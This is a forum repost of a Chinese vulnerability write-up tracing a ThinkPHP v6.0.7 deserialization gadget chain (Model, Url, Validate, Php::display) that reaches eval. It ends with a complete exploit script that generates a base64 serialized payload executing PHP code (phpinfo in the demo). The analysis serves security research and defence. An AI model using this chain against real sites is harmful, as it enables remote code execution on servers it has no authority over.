安全矩阵

 找回密码
 立即注册
搜索
查看: 2068|回复: 0

ThinkPHP v6.0.7 eval反序列化利用链

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2022-1-25 22:41:52 | 显示全部楼层 |阅读模式
原文链接:ThinkPHP v6.0.7 eval反序列化利用链

0x00 前言
最近分析了不少的 ThinkPHP v6.0.x 反序列化链条,发现还蛮有意思的,但美中不足的是无法拥有直接调用形如 eval 的能力。于是就自己就在最新的(目前是 ThinkPHP v6.0.7)版本上基于原有的反序列化链,再挖了一条能够执行 eval 的。

0X01 利用条件
  • 存在一个完全可控的反序列化点。

0x02 环境配置直接使用 composer 安装 V6.0.7 版本的即可。
  1. ​-> composer create-project topthink/think=6.0.7 tp607
  2. -> cd tp607
  3. -> php think run
复制代码
​修改入口 app/controller/Index.php 内容,创造一个可控反序列化点:

0x03 链条分析这里还是由 ThinkPHP v6.0.x 的入口进入。
在 Model 类 (vendor/topthink/think-orm/src/Model.php) 存在一个 __destuct 魔法方法。当然 Model 这玩意是个抽象类,得从它的 继承类 入手,也就是 Pivot 类 (vendor/topthink/tink-orm/src/model/Pivot.php ) 。
  1. abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
  2. {
  3.     /**
  4.      * ......
  5.      */

  6.     public function __destruct()
  7.     {
  8.         if ($this->lazySave) {
  9.             $this->save();
  10.         }
  11.     }
  12. }

  13. class Pivot extends Model
  14. {
  15.     /**
  16.     * ......
  17.     */
  18. }
复制代码
我们先让 $this->lazySave = true ,从而跟进 $this->save() 方法。
  1. // abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

  2. public function save(array $data = [], string $sequence = null): bool
  3. {
  4.         // 数据对象赋值
  5.     $this->setAttrs($data);

  6.     if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {

  7.         return false;

  8.     }
  9.     $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

  10.      /**
  11.      * ......
  12.      */

  13. }
复制代码
其中 $this->setAttrs($data) 这个语句无伤大雅,跟进去可以发现甚至可以说啥事也没做。
  1. // abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

  2. public function setAttrs(array $data): void
  3. {
  4.         // 进行数据处理
  5.     foreach ($data as $key => $value) {
  6.         $this->setAttr($key, $value, $data);
  7.     }
  8. }
复制代码
那么我们这里还需要依次绕过 if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) 中的两个条件。跟进 $this->isEmpty() 以及 $this->trigger('BeforeWrite') ,我们发现 $this->data 要求不为 null ,且 $this->withEvent == true 。
  1. // abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

  2. public function isEmpty(): bool
  3. {
  4.     return empty($this->data);
  5. }

  6. // trait ModelEvent{}

  7. protected function trigger(string $event): bool
  8. {
  9.     if (!$this->withEvent) {
  10.         return true;
  11.     }

  12.     /**
  13.     * ......
  14.     */

  15. }
复制代码

此时, $this->isEmpty() 返回 false ,$this->trigger('BeforeWrite') 返回 true 。我们顺利进入下一步 $result = $this->exists ? $this->updateData() : $this->insertData($sequence); 。我们在上边可以发现 $this->exists 的默认值为 false ,不妨直接跟进 $this->insertData($sequence) ,其中 sequence = null。

  1. // abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

  2. protected $exists = false;

  3. protected function insertData(string $sequence = null): bool
  4. {
  5.     if (false === $this->trigger('BeforeInsert')) {
  6.         return false;
  7.     }

  8.     $this->checkData();
  9.     $data = $this->writeDataType($this->data);

  10.     // 时间戳自动写入
  11.     if ($this->autoWriteTimestamp) {
  12.         /**
  13.         * ......
  14.         */
  15.     }
  16.     // 检查允许字段
  17.     $allowFields = $this->checkAllowFields();

  18.     /**
  19.     * ......
  20.     */

  21. }
复制代码


显然,$this->trigger('BeforeInsert') 的值在上边已经被我们构造成了 true 了,这里继续跟进 $this->checkData() 以及 $data = $this->writeDataType($this->data) 。$this->checkData() 直接可以略过,而传入 $this->writeDataType() 的参数 $this->data 在上边已经被我们构造成一个 非null 的值,这里不妨将其构造成 [7] ,由于 $this->type 的值默认为 [] ,这里的遍历是没有影响的。

  1. trait Attribute
  2. {
  3.     protected $type = [];
  4. }

  5. // abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
  6. protected function checkData(): void
  7. {
  8. }

  9. protected function writeDataType(array $data): array
  10. {
  11.     foreach ($data as $name => &$value) {
  12.         if (isset($this->type[$name])) {
  13.             // 类型转换
  14.             $value = $this->writeTransform($value, $this->type[$name]);
  15.         }
  16.     }
  17.     return $data;
  18. }

  19. 至于 $this->autoWriteTimestamp 的默认值是没有的,相当于 null ,这里直接用 弱类型比较 直接略过。

  20. trait TimeStamp
  21. {
  22.     protected $autoWriteTimestamp;
  23. }
复制代码


此时,我们来到 $allowFields = $this->checkAllowFields() ,其中 $this->field 和 $this->schema 的默认值都为 [] ,因而可以直接来到 else{。
  1. trait Attribute
  2. {
  3.     protected $schema = [];
  4.     protected $field = [];
  5. }

  6. // abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

  7. protected function checkAllowFields(): array
  8. {
  9.     // 检测字段
  10.     if (empty($this->field)) {
  11.         if (!empty($this->schema)) {
  12.             $this->field = array_keys(array_merge($this->schema, $this->jsonType));
  13.         } else {
  14.             $query = $this->db();
  15.             $table = $this->table ? $this->table . $this->suffix : $query->getTable();
  16.             $this->field = $query->getConnection()->getTableFields($table);
  17.         }
  18.         return $this->field;
  19.     }

  20.     /**
  21.     * ......
  22.     */

  23. }
复制代码
​ 那么,继续跟进 $this->db ,来到了 关键点 ,第一句 $query = ... 可以直接跳过,而在 $query->table($this->table . $this->suffix) 这里存在熟悉的字符拼接。这样只需要让 $this->table 或 $this->suffix 为一个 就可以触发那个 的 __toString 魔法方法了。
  1. // abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

  2. public function db($scope = []): Query
  3. {
  4.     /** @var Query $query */
  5.     $query = self::$db->connect($this->connection)->name($this->name . $this->suffix)->pk($this->pk);
  6.     if (!empty($this->table)) {
  7.         $query->table($this->table . $this->suffix);
  8.     }

  9.     /**
  10.     * ......
  11.     */

  12. }
复制代码


简单总结一下,要触发 __toString 需要构造:
  •         $this->lazySave = true
  •         $this->data = [7]
  •         $this->withEvent = true

至于 __toSring 魔法方法的类,我们这里选择 Url 类 (vendor/topthink/framework/src/think/route/Url.php) ,首先第一个条件 if (0 === strpos($url, '[') && $pos = strpos($url, ']')) 需要绕过,第二个条件 if (false === strpos($url, '://') && 0 !== strpos($url, '/')) 需要满足最上部分,并使得 $url 的值为 ''。
  1. class Url
  2. {

  3.     public function __toString()
  4.     {

  5.         return $this->build();
  6.     }

  7.     public function build()
  8.     {
  9.         // 解析URL
  10.         $url     = $this->url;
  11.         $suffix  = $this->suffix;
  12.         $domain  = $this->domain;
  13.         $request = $this->app->request;
  14.         $vars    = $this->vars;

  15.         if (0 === strpos($url, '[') && $pos = strpos($url, ']')) {
  16.             // [name] 表示使用路由命名标识生成URL
  17.             $name = substr($url, 1, $pos - 1);
  18.             $url  = 'name' . substr($url, $pos + 1);
  19.         }

  20.         if (false === strpos($url, '://') && 0 !== strpos($url, '/')) {
  21.             $info = parse_url($url);
  22.             $url  = !empty($info['path']) ? $info['path'] : '';

  23.             if (isset($info['fragment'])) {
  24.                 // 解析锚点
  25.                 $anchor = $info['fragment'];
  26.                 if (false !== strpos($anchor, '?')) {
  27.                     // 解析参数
  28.                     [$anchor, $info['query']] = explode('?', $anchor, 2);
  29.                 }
  30.                 if (false !== strpos($anchor, '@')) {
  31.                     // 解析域名
  32.                     [$anchor, $domain] = explode('@', $anchor, 2);
  33.                 }
  34.             } elseif (strpos($url, '@') && false === strpos($url, '\\')) {
  35.                 // 解析域名
  36.                 [$url, $domain] = explode('@', $url, 2);
  37.             }
  38.         }

  39.         if ($url) {

  40.              /**
  41.             * ......
  42.             */

  43.             $rule = $this->route->getName($checkName, $checkDomain);

  44.             /**
  45.             * ......
  46.             */

  47.         }

  48.         if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) {
  49.             // 匹配路由命名标识
  50.             $url = $match[0];

  51.             if ($domain && !empty($match[1])) {
  52.                 $domain = $match[1];
  53.             }

  54.             if (!is_null($match[2])) {
  55.                 $suffix = $match[2];
  56.             }
  57.         } elseif (!empty($rule) && isset($name)) {
  58.             throw new \InvalidArgumentException('route name not exists:' . $name);
  59.         } else {
  60.             // 检测URL绑定
  61.             $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
  62.              /**
  63.             * ......
  64.             */
  65.         }

  66.          /**
  67.         * ......
  68.         */
  69.     }
  70. }
复制代码


我们先让让 $this->url 构造成 a: ,此时 $url 的值也就为 '',后边的各种条件也不会成立,可以直接跳过 。
然后再看 if($url) ,由于 弱类型 比较直接略过。
此时由于 $rule 是在 if($url){ 条件内被赋值,那么 if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) 以及 elseif (!empty($rule) && isset($name)) 这两个也不会成立,直接略过。
此时,我们来到 else{ 内,其中 $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null) 这个代码为点睛之笔。显然,$this->route 是可控的,$domain 变量的值实际上就是 $this->domain ,也是一个可控的字符型变量,我们现在就能得到了一个 [可控类] -> getDomainBind([可控字符串]) 的调用形式。
总结来说,满足该调用形式需要构造:
  •         $this->url = 'a:'
  •         $this->app = 给个public的request属性的任意类

然后全局搜索 __call 魔法方法,在 Validate 类 (vendor/topthink/framework/src/think/Validate.php) 中存在一个可以称为 “简直为此量身定做” 的形式。
  1. // class Str{}

  2. public static function studly(string $value): string
  3. {
  4.     $key = $value;
  5.     if (isset(static::$studlyCache[$key])) {
  6.         return static::$studlyCache[$key];
  7.     }
  8.     $value = ucwords(str_replace(['-', '_'], ' ', $value));
  9.     return static::$studlyCache[$key] = str_replace(' ', '', $value);
  10. }

  11. public static function camel(string $value): string
  12. {
  13.     if (isset(static::$camelCache[$value])) {
  14.         return static::$camelCache[$value];
  15.     }
  16.     return static::$camelCache[$value] = lcfirst(static::studly($value));
  17. }

  18. // class Validate{}

  19. class Validate
  20. {
  21.     public function is($value, string $rule, array $data = []): bool
  22.     {
  23.         switch (Str::camel($rule)) {
  24.             case 'require':
  25.                 // 必须
  26.                 $result = !empty($value) || '0' == $value;
  27.                 break;
  28.             /**
  29.             * ......
  30.             */
  31.                 break;
  32.             case 'token':
  33.                 $result = $this->token($value, '__token__', $data);
  34.                 break;
  35.             default:
  36.                 if (isset($this->type[$rule])) {
  37.                     // 注册的验证规则
  38.                     $result = call_user_func_array($this->type[$rule], [$value]);
  39.                 } elseif (function_exists('ctype_' . $rule)) {
  40.                     /**
  41.                     * ......
  42.                     */
  43.         }

  44.         return $result;
  45.     }

  46.     public function __call($method, $args)
  47.     {
  48.         if ('is' == strtolower(substr($method, 0, 2))) {
  49.             $method = substr($method, 2);
  50.         }

  51.         array_push($args, lcfirst($method));

  52.         return call_user_func_array([$this, 'is'], $args);
  53.     }
  54. }
复制代码


这里先从 __call 看起,显然在调用 call_user_func_array 函数时,相当于 $this->is([$domain,'getDomainBind']) ,其中 $domain 是可控的。
跟进 $this->is 方法, $rule 变量的值即为 getDomainBind, Str::camel($rule) 的意思实际上是将 $rule = 'getDomainBind' 的 -_ 替换成 '' , 并将每个单词首字母大写存入 static:studlyCache['getDomainBind'] 中,然后回头先将首字母小写后赋值给 camel 方法的 static:cameCache['getDomainBind'] ,即返回值为 getDomainBind
由于 switch{ 没有一个符合 getDomainBind 的 case 值,我们可以直接看 default 的内容。 $this->type[$rule] 相当于 $this->type['getDomainBind'] ,是可控的,而 $value 值即是上边的 $domain 也是可控的,我们现在就能得到了一个 call_user_func_array([可控变量],[[可控变量]]) 的形式了。
实际上现在也就可以进行传入 单参数 的函数调用,可这并不够!!!我们来到 Php 类 (vendor/topthink/framework/src/think/view/driver/Php.php) 中,这里存在一个调用 eval 的且可传 单参数 的方法 display 。
  1. class Php implements TemplateHandlerInterface
  2. {
  3.     public function display(string $content, array $data = []): void
  4.     {
  5.         $this->content = $content;
  6.         extract($data, EXTR_OVERWRITE);
  7.         eval('?>' . $this->content);
  8.     }

  9. }
复制代码


假若用上边的 call_user_func_array([可控变量],[[可控变量]]) 形式,构造出 call_user_func_array(['Php类','display'],['<?php (任意代码) ?>']) 即可执行 eval 了。
总的来说,我们只需要构造如下:
  •         $this->type = ["getDomainBind" => [Php类,'display']]

就可以了。
0x04 简单示图
  •         构造并触发 __toString :
                           
           
  •         构造 [可控类] -> getDomainBind([可控字符串]) 进入 __call:
                           
           
  •         构造 call_user_func_array([可控变量],[[可控变量]]) 执行 eval:
                           
           

0x05 EXP
  1. <?php
  2. namespace think\model\concern{
  3.     trait Attribute{
  4.         private $data = [7];
  5.     }
  6. }

  7. namespace think\view\driver{
  8.     class Php{}
  9. }

  10. namespace think{
  11.     abstract class Model{
  12.         use model\concern\Attribute;
  13.         private $lazySave;
  14.         protected $withEvent;
  15.         protected $table;
  16.         function __construct($cmd){
  17.             $this->lazySave = true;
  18.             $this->withEvent = false;
  19.             $this->table = new route\Url(new Middleware,new Validate,$cmd);
  20.         }
  21.     }
  22.     class Middleware{
  23.         public $request = 2333;
  24.     }
  25.     class Validate{
  26.         protected $type;
  27.         function __construct(){
  28.              $this->type = [
  29.                 "getDomainBind" => [new view\driver\Php,'display']
  30.             ];
  31.         }
  32.     }
  33. }

  34. namespace think\model{
  35.     use think\Model;
  36.     class Pivot extends Model{}
  37. }

  38. namespace think\route{
  39.     class Url
  40.     {
  41.         protected $url = 'a:';
  42.         protected $domain;
  43.         protected $app;
  44.         protected $route;
  45.         function __construct($app,$route,$cmd){
  46.             $this->domain = $cmd;
  47.             $this->app = $app;
  48.             $this->route = $route;
  49.         }
  50.     }
  51. }

  52. namespace{
  53.     echo base64_encode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>')));
  54. }
复制代码


利用结果:







回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 18:55 , Processed in 0.014425 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表